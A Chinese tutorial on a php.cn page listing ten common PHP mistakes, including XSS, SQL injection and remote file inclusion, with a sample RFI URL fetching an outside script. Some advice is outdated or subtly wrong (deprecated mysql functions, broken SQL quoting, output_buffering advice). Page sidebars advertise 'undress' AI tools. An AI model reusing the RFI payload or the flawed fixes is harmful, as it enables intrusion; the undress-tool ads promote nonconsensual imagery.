Rumah php教程 php手册 php 程序员常犯错误总结

php 程序员常犯错误总结

May 25, 2016 pm 04:40 PM
pengaturcara php

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据),输出之前都要转意.

echo $_GET['usename'] ;

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入.

如何修复:我们需要将"","and" 等转换成正确的HTML表示(', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的.

正确的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法,有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET,$_POST或 $_COOKIE中的得到的.

如何修复:和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数,正确做法:

<?php 
$sql = "UPDATE users SET 
name=&#39;.mysql_real_escape_string($name).&#39; 
WHERE id=&#39;.mysql_real_escape_string ($id).&#39;"; 
mysql_query($sql); 
?>
Salin selepas log masuk

3.错误的使用HTTP-header 相关的函数:header(),session_start(),setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie,头部总是先到达,正文部分包括可视的html,图片等数据.

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用,问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样,结果转向停止了,cookie和session都没有正确的设置........。

如何修复:确保在输出之前调用http-header相关的函数,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据,不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php

//including header, config, database connection, etc

include($_GET['filename']);

//including footer

现在任一个黑客现在都可以用:http://www.phprm.com/index.php?filename=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本.

如果allow_url_fopen=On,你更是死定了,试试这个输入:

http://www.phprm.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.phprm.com/phphack.php的输出,黑客可以发送垃圾邮件,改变密码,删除文件等等,只要你能想得到.

如何修复:你必须自己控制哪些文件可以包含在的include或require指令中,下面是一个快速但不全面的解决方法:

<?php 
//Include only files that are allowed. 
$allowedFiles = array(&#39;file1.txt&#39;,&#39;file2.txt&#39;,&#39;file3.txt&#39;); 
if(in_array((string)$_GET[&#39;filename&#39;],$allowedFiles)) { 
include($_GET[&#39;filename&#39;]); 
}else{ 
exit(&#39;not allowed&#39;); 
} 
?>
Salin selepas log masuk

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出,解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号,还有就是换个好的编辑器,就不要用记事本了.

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力,PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象.

7. 不使用framework

95% 的PHP项目都在做同样的四件事:Create, edit, list 和delete,现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能,很多程序员重复的发明轮子,浪费了大量时间,编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现,PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回,考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.phprm.com的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。

原始文本:

It&#39;s a string
magic quotes on :
It&#39;s a string
又运行一次
addslashes():
It&#39;s a string
HTML输出:It&#39;s a string
Salin selepas log masuk


本文地址:

转载随意,但请附上文章地址:-)

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

AI Hentai Generator

AI Hentai Generator

Menjana ai hentai secara percuma.

Artikel Panas

R.E.P.O. Kristal tenaga dijelaskan dan apa yang mereka lakukan (kristal kuning)
2 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Repo: Cara menghidupkan semula rakan sepasukan
4 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Cara mendapatkan biji gergasi
3 minggu yang lalu By 尊渡假赌尊渡假赌尊渡假赌

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Dari awal hingga akhir: Cara menulis resume pengaturcara PHP yang sempurna Dari awal hingga akhir: Cara menulis resume pengaturcara PHP yang sempurna Sep 10, 2023 pm 04:21 PM

Cara menulis resume pengaturcara PHP yang sempurna Dalam pasaran kerja yang sangat kompetitif, resume yang cemerlang adalah penting untuk pencari kerja. Bagi pengaturcara PHP, menulis resume yang sempurna amat penting, kerana resume bukan sahaja tingkap untuk mempamerkan kemahiran dan pengalaman anda, tetapi juga kunci untuk menarik perhatian majikan. Artikel ini akan menerangkan secara terperinci cara menulis resume kerja pengaturcara PHP yang sempurna dari awal hingga akhir. Langkah Pertama: Pilih Templat Resume Ringkas dan Menarik Memilih templat resume yang ringkas dan menarik adalah langkah pertama dalam menulis resume anda.

Tingkatkan kadar kejayaan carian kerja anda: Petua untuk menulis resume kerja pengaturcara PHP yang sangat baik Tingkatkan kadar kejayaan carian kerja anda: Petua untuk menulis resume kerja pengaturcara PHP yang sangat baik Sep 10, 2023 pm 06:30 PM

Tingkatkan kadar kejayaan pencarian pekerjaan: Petua untuk menulis resume kerja pengaturcara PHP yang cemerlang Dalam masyarakat moden, pencarian pekerjaan telah menjadi tugas penting yang dihadapi oleh setiap graduan. Apabila ia datang untuk memohon pekerjaan, resume anda adalah bahagian yang paling penting. Resume yang cemerlang boleh memenangi temu duga dan juga menentukan sama ada anda boleh berjaya mendapatkan pekerjaan. Terutama untuk jawatan yang sangat kompetitif seperti pengaturcara PHP, cara menulis resume yang cemerlang telah menjadi isu utama bagi setiap pencari kerja. Di bawah ini saya akan berkongsi beberapa petua untuk menulis resume kerja programmer PHP yang sangat baik.

Cara menulis resume pengaturcara PHP yang akan menarik perhatian majikan Cara menulis resume pengaturcara PHP yang akan menarik perhatian majikan Sep 08, 2023 am 08:19 AM

Cara menulis resume pengaturcara PHP yang akan menarik perhatian majikan Dalam pasaran kerja yang sangat kompetitif, adalah penting untuk menulis resume yang cemerlang. Sebagai pengaturcara PHP, sebagai tambahan kepada pengalaman kerja dan kemahiran anda yang mengagumkan, resume juga perlu menggambarkan kecintaan anda terhadap pengaturcaraan dan pengetahuan profesional yang mantap. Artikel ini akan memperkenalkan beberapa petua dan contoh kod untuk membantu anda menulis resume pengaturcara PHP yang akan bersinar di mata majikan. Maklumat peribadi yang ringkas dan jelas Bahagian maklumat peribadi resume anda hendaklah mengandungi nama, maklumat hubungan dan laman web peribadi anda

Petua Resume Pengaturcara PHP yang menarik perhatian: Cara Menonjol daripada Calon Lain Petua Resume Pengaturcara PHP yang menarik perhatian: Cara Menonjol daripada Calon Lain Sep 12, 2023 am 10:16 AM

Petua resume yang menarik untuk pengaturcara PHP: Bagaimana untuk menonjol daripada calon lain Dengan perkembangan pesat industri Internet, pengaturcara PHP juga telah menjadi salah satu jawatan popular dalam pasaran kerja. Walau bagaimanapun, semakin ramai orang memilih PHP sebagai hala tuju pembangunan kerjaya mereka, yang menjadikan persaingan lebih sengit. Dalam keadaan sedemikian, bagaimana untuk menjadikan resume anda menonjol dan menjadi popular di mata majikan adalah persoalan yang perlu difikirkan oleh setiap pengaturcara PHP. Pertama, resume yang baik harus menunjukkan kemahiran anda dengan jelas dan ringkas.

Jalan pengaturcara PHP ke arah serangan balas bergaji tinggi Jalan pengaturcara PHP ke arah serangan balas bergaji tinggi Sep 09, 2023 am 09:22 AM

Jalan menuju serangan balas bergaji tinggi untuk pengaturcara PHP Dengan perkembangan pesat Internet, permintaan dalam bidang sains komputer terus meningkat. Pada era ini, orang yang memerlukan kemahiran pengaturcaraan adalah yang paling diminati. Sebagai bahasa pengaturcaraan yang biasa digunakan, PHP menyediakan pengaturcara dengan laluan serangan balas bergaji tinggi. Artikel ini akan memperkenalkan cara pengaturcara PHP boleh bergerak ke arah serangan balas bergaji tinggi dengan mempelajari PHP dan teknologi yang berkaitan, dan melampirkan beberapa contoh kod. 1. Kuasai pengetahuan asas PHP Untuk menjadi pengaturcara PHP yang cemerlang, anda perlu menguasai pengetahuan asas PHP terlebih dahulu.

Terokai Petua Menulis: Cara Menulis Resume Kerja Pengaturcara PHP yang Menarik Terokai Petua Menulis: Cara Menulis Resume Kerja Pengaturcara PHP yang Menarik Sep 09, 2023 pm 04:09 PM

Terokai Petua Menulis: Cara Menulis Resume Pengaturcara PHP yang Menarik Dalam pasaran kerja yang kompetitif hari ini, resume yang menarik amat penting untuk pengaturcara PHP. Resume yang baik bukan sahaja menarik perhatian majikan tetapi juga mempamerkan kemahiran dan pengalaman anda. Artikel ini akan meneroka beberapa petua penulisan untuk membantu anda membuat resume pengaturcara PHP yang hebat, lengkap dengan contoh kod yang menyerlahkan kebolehan profesional anda. Format Ringkas dan Jelas Format resume anda hendaklah ringkas dan jelas, membolehkan majikan mengimbas maklumat berkaitan anda dengan cepat.

Langkah utama untuk berhubung dengan HR: Bagaimana untuk mencerminkan nilai anda dalam resume pengaturcara PHP anda Langkah utama untuk berhubung dengan HR: Bagaimana untuk mencerminkan nilai anda dalam resume pengaturcara PHP anda Sep 08, 2023 am 11:30 AM

Langkah penting dalam berhubung dengan HR: Bagaimana untuk mencerminkan nilai anda dalam resume pengaturcara PHP anda menilai dan menyaring calon melalui resume mereka semasa pandangan yang sibuk tetapi ringkas semasa proses pengambilan. Untuk menonjol daripada kumpulan pencari kerja dan menarik perhatian HR, anda perlu menunjukkan nilai dan kebolehan anda dalam resume anda. Bagi pengaturcara PHP, adalah penting untuk menyerlahkan kehebatan teknikal dan pengalaman projek mereka dalam resume mereka. Berikut ialah beberapa elemen utama dan cara menunjukkan nilai anda melalui contoh kod. Senarai kemahiran teknikal dalam bahagian kemahiran resume anda

Tingkatkan profil anda: Cara menulis resume pengaturcara PHP yang menonjolkan anda Tingkatkan profil anda: Cara menulis resume pengaturcara PHP yang menonjolkan anda Sep 10, 2023 pm 05:12 PM

Dalam pasaran kerja yang sangat kompetitif hari ini, cara untuk menonjolkan diri daripada kumpulan pencari kerja telah menjadi isu yang sangat penting. Khususnya untuk pengaturcara PHP, resume yang baik secara langsung boleh mempengaruhi sama ada anda boleh mendapatkan temu duga. Artikel ini akan memberi anda pengenalan terperinci tentang cara menulis resume pengaturcara PHP yang membuat anda menonjol. Pertama sekali, resume yang baik harus mengandungi bahagian penting berikut: maklumat peribadi, niat kerja, latar belakang pendidikan, pengalaman kerja, kemahiran dan kepakaran, dan pengalaman projek peribadi. Kami akan pergi bahagian demi bahagian

See all articles